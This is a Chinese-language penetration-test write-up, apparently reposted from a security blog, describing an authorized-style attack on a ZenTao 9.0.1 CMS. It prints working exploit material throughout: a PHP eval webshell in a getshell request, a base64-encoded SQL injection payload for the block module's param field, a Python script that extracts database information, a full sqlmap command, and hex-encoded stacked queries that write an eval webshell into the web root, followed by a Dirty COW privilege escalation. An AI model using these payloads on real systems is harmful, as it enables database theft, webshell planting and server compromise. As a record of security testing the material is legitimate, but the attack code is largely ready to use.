专栏首页鸿鹄实验室记一次禅道cms测试

记一次禅道cms测试

最近碰上了一个禅道的cms系统,看了下网上并没有对这个cms比较系统的攻击方法,于是写下此文希望对大家能有所帮助。(公司授权站点,打码严重,万望见谅)

站点地址:http://xxx.xxx.xxx.xxx:8090/

cms版本:禅道9.0.1

因为个人习惯问题,喜欢测试弱口令,经过一番测试,得到其中一个用户的弱口令:keno、123456

后台存在上传点,可以任意文件上传,可是传完之后会被添加.txt的后缀,且无法突破,于是放弃。在网上搜索发现了两篇文章

https://www.cnblogs.com/iamstudy/articles/chandao_pentest_1.html

https://seaii-blog.com/index.php/2018/07/02/83.html

查看版本:

发现可能存在的漏洞点如下:

1、任意文件读取

2、直接getshell

3、Sql注入漏洞

逐一测试 任意文件读取失败访问index.php?

m=editor&f=edit

需要admin权限,但是我没有..

而关于getshell也是一样

http://example.com/?m=api&f=getModel&moduleName=editor&methodName=save&params=filePath=aaaaaa.php

POST内容: fileContent=<?php $_POST[1]($_POST[2]);

最后的shell地址是\zentaopro\module\api\aaaaaa.php

不知道是不是二改了cms…

最后的希望,sql注入,由文章我们可以知道禅道存在的sql注入是limit后的注入点 这里没有使用文中给出的exp,而是我自己使用extractvalue构造了一个注入语句 使用payload测试:

利用:/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=
EXP:{"orderBy":"order limit 1,1 PROCEDURE ANALYSE(extractvalue(rand(),concat(0x3a,version())),1)#","num":"1,1","type":"openedbyme"}

最后将exp进行base64编码

发现可以注入

使用python的自动化exp

import json,requests,re

url = 'http://xxx.xxx.xxx.xxx:8090/zentao/'
payload = '/index.php?m=block&f=main&mode=getblockdata&blockid=case&param='

if not url.startswith('http'):
    url = 'http' + url

headers = {
    "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
    "Accept-Encoding": "gzip, deflate",
    "Referer":url
}

payload1 = 'eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKGV4dHJhY3R2YWx1ZShyYW5kKCksY29uY2F0KDB4M2EsdmVyc2lvbigpKSksMSkjIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ=='
payload2 = 'eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKGV4dHJhY3R2YWx1ZShyYW5kKCksY29uY2F0KDB4M2EsZGF0YWJhc2UoKSkpLDEpIyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0='
payload3 = 'eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKGV4dHJhY3R2YWx1ZShyYW5kKCksY29uY2F0KDB4M2EsdXNlcigpKSksMSkjIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ=='
exp = payload1
exp2 = payload2
exp3 = payload3
try:
    r = requests.get(url+payload+exp,headers=headers)
    bug = re.findall("1105 XPATH syntax error: ':(.*?)'<p>",r.text)[0]
    print('漏洞存在,当前数据库版本为:' + bug)
    r = requests.get(url+payload+exp2,headers=headers)
    bug = re.findall("1105 XPATH syntax error: ':(.*?)'<p>",r.text)[0]
    print('漏洞存在,当前数据库为:' + bug)
    r = requests.get(url+payload+exp3,headers=headers)
    bug = re.findall("1105 XPATH syntax error: ':(.*?)'<p>",r.text)[0]
    print('漏洞存在,当前数据库用户为:' + bug)
except Exception as e:
    print('漏洞检测失败')

得到以下信息(这里此时可以直接使用py的base64编码功能但是不知道为什么一直失败,于是便手动编码了一下)

但是与文中所说的一样没有办法进行数据获取,即使给出了盲注的写法,但是既然能手工注入,那么sqlmap一定也可以,毕竟客户不只会满足一个只能获取信息的注入点

这里先介绍sqlmap的两个参数

–suffix=” – “ (修改后缀) –prefix=”)” (修改前缀)

那么这样我们就可以注入了,payload如下,其中的\是为了防止转义

Sqlmap:

sqlmap -u "http://xxx.xxx.xxx.xxx:8090/zentao/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=" --referer="http://xxx.xxx.xxx.xxx:8090/zentao/" --tamper=base64encode --level 5 --prefix="{\"orderBy\":\"order limit 1" --suffix="\",\"num\":\"1,1\",\"type\":\"openedbyme\"}" --risk 3 --time-sec=2 -v 3 -p param --dbms=mysql

这样我们就可以使用sqlmap进行数据获取了,那么我们还是需要getshell了 写webshell,前面的文章说了它过滤了下划线,我们可以使用mysql的预查询来绕过,我们也可以使用同样的方法来写入一个webshell

网上有篇文章是使用的报绝对路径的方法,http://ximcx.cn/post-141.html 可是经过尝试并不可以,后来询问大佬,大佬给出了一些提示,具体攻击手法如下

查看路径

http://xxx.xxx.xxx.xxx:8090/zentao/user-reset.html

提交地址:

http://xxx.xxx.xxx.xxx:8090/zentao/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=

写入忘记密码的文本:

shell语句命令:

select '' into outfile /opt/zbox/app/zentao/tmp/reset_5c7e631454ae5.txt'

HEX编码:(注意加密解密都不带0x,但是EXP中需要加上)

2f6f70742f7a626f782f6170702f7a656e74616f2f746d702f72657365745f356436343865396665363933312e747874

注入文件语句:

{"orderBy":"order limit 1;SET @SQL=0x2f6f70742f7a626f782f6170702f7a656e74616f2f746d702f72657365745f356436343865396665363933312e747874;PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}

进行编码

eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDJmNmY3MDc0MmY3YTYyNmY3ODJmNjE3MDcwMmY3YTY1NmU3NDYxNmYyZjc0NmQ3MDJmNzI2NTczNjU3NDVmMzU2NDM2MzQzODY1Mzk2NjY1MzYzOTMzMzEyZTc0Nzg3NDtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==

shell语句命令:

select '<?php @eval($_POST[123456])?>' into outfile '/opt/zbox/app/zentao/www/hack.php'

HEX编码:

73656c65637420273c3f70687020406576616c28245f504f53545b3132333435365d293f3e2720696e746f206f757466696c6520272f6f70742f7a626f782f6170702f7a656e74616f2f7777772f6861636b2e70687027

编码

{"orderBy":"order limit 1;SET @SQL=0x73656c65637420273c3f70687020406576616c28245f504f53545b3132333435365d293f3e2720696e746f206f757466696c6520272f6f70742f7a626f782f6170702f7a656e74616f2f7777772f6861636b2e70687027;PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}

写入一个shell成功。具体原理其实跟西门大佬说的差不多,只是多了往忘记密码的文本写入内容的过程,具体为什么需要写入内容才能getshell,我觉得是和任意文件读取哪里有异曲同工之妙,具体的分析就留给各位师傅了。

进行提权:

普通权限, 3.x的内核

脏牛走起,传exp,执行得到root权限,剩下的?剩下的还用我说,自然是删除shell,写报告啊…..

原始链接:https://lengjibo.github.io/cs/

更多精彩推荐,请关注我们

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:lengyi

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-03

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 腾讯云-云市场"特色应用"镜像 实践部署整理文档

    本文是对腾讯云云市场架构升级进行的镜像应用部署工作整理,并且将镜像部署过程中实践部署关键截图整理成如下文档,供亲们观看参考,有兴趣的亲可以点击进入...

    TCS-F
  • 自动化测试:六个值得参考的 Laravel 开源项目

    顾翔老师开发的bugreport2script开源了,希望大家多提建议。文件在https://github.com/xianggu625/bug2testscr...

    小老鼠
  • Docker搭建开源版禅道以及项目基本流程介绍

    禅道是一款国产开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、组织管理等于一体,是一款专业的研发项目管理软件,完整的覆盖了软件研发项目的整...

    小博测试成长之路
  • 管理|一次产品迭代的完整计划第一步:整理BUG第二步:需求同步第三步:需求评审第四步:执行计划第五步:进入研发第六步:交付验收第七步:发布验收第八步:正式发布

    黄小怪
  • 推荐一个项目管理工具,落地基于Scrum的敏捷开发!

    禅道由青岛易软天创网络科技有限公司开发,国产开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体,是一款专业的研发项目管理软件...

    macrozheng
  • 甲方安全中心建设:代码审计系统

    纵观甲方的安全体系建设,最开始和最重要的那一部分就是代码安全。甲方公司内部有很多项目,每个项目都由不同的开发人员进行开发,所以项目开发水平也是参差不齐,也就是说...

    FB客服
  • 记一次渗透测试实战

    周末在家闲着没事突然就想搞事了,然后使用Google hack语法输入inurl:xxx.xxx.xxx/upload批量搜索可能存在上传点的网站,试了好几个最...

    HACK学习
  • Cypress web自动化19-自定义命令,把登陆当公共方法commands.js

    测试一个web网站的时候,通常需要先登录。要是每个脚本都写一次登录流程,太麻烦了,于是我们会想到写一个公共函数,这样每次去调用函数即可。 cypress 里面提...

    上海-悠悠
  • Cypress录制自动化脚本

    Cypress Studio提供了一种在测试运行程序中生成测试的可视化方法,通过记录与被测应用程序的交互。支持.click()、.type()、.check()...

    wencheng
  • Devops与敏捷二者能否结合?

    当前软件行业的趋势倾向于使应用程序开发和部署成为业务运营的重要组成部分。这些公司开始专注于实现像DevOps解决方案这样的方法,这有助于缩短产品开发时间。使用D...

    陈琦聊测试
  • 管理|从0开始组建一支研发团队(一)

    黄小怪
  • 记一次有趣的渗透测试

    最近在做渗透测试的练习中遇到一个比较有意思的站点,在此记录下来,希望能给向我一样刚入安全圈不久的萌新提供一些基本思路吧。

    信安之路
  • 记录一次渗透测试实战

    登录框测试,因为是mssql数据库+aspx开发的,我习惯性的先测试下注入,结果这个注入也存在的哦。 抓包使用sqlmap跑(这里忘记说了,这个站自身是有waf...

    用户6343818
  • 记一次后台 getshell 测试过程

    最近团队在对某个厂商进行测试,在进入后台后的情况下进行黑盒测试,这次 webshell 差点被厂商以 “管理员身份进行 webshell 为由” 给我个低危评价...

    信安之路
  • 记一次性能测试的经历

    工作这么多年,一直专注于自动化和工具研发,对性能方面做的相对少很多。主要还是没有实际的上手机会,没有需求就不能很好的实践,光看几本理论知识的书还是不够的。今天主...

    上帝De助手
  • 记一次无意的渗透测试

    由于最近再写一个web漏洞扫描器,准备在fofa上找网站测试的时候,无意间看到了个标题,xx系统

    7089bAt@PowerLi
  • 6款支持敏捷开发的项目管理工具,助力开发者驶入开发快车道

    随着市场的瞬息万变和软件行业的迅猛发展,传统的瀑布式软件开发模型因其漫长的开发与反馈周期,在抢占市场先机和快速满足用户需求方面日渐失去竞争优势。与此同时,敏捷开...

    笑看
  • Linux系统下一步到位搭建bug管理系统——禅道

    作为测试人员,有时候进入一个新的环境,部分公司可能已经存在比较完善的测试环境,我们入职即可使用。但是有的公司在测试数据,测试环境方面可能还是空白,需要我们自...

    用户7466307
  • 腾讯云ubuntu 16.04 禅道集成环境搭建

    禅道 linux 安装地址 https://www.zentao.net/book/zentaopmshelp/90.html

    静心物语313

扫码关注云+社区

领取腾讯云代金券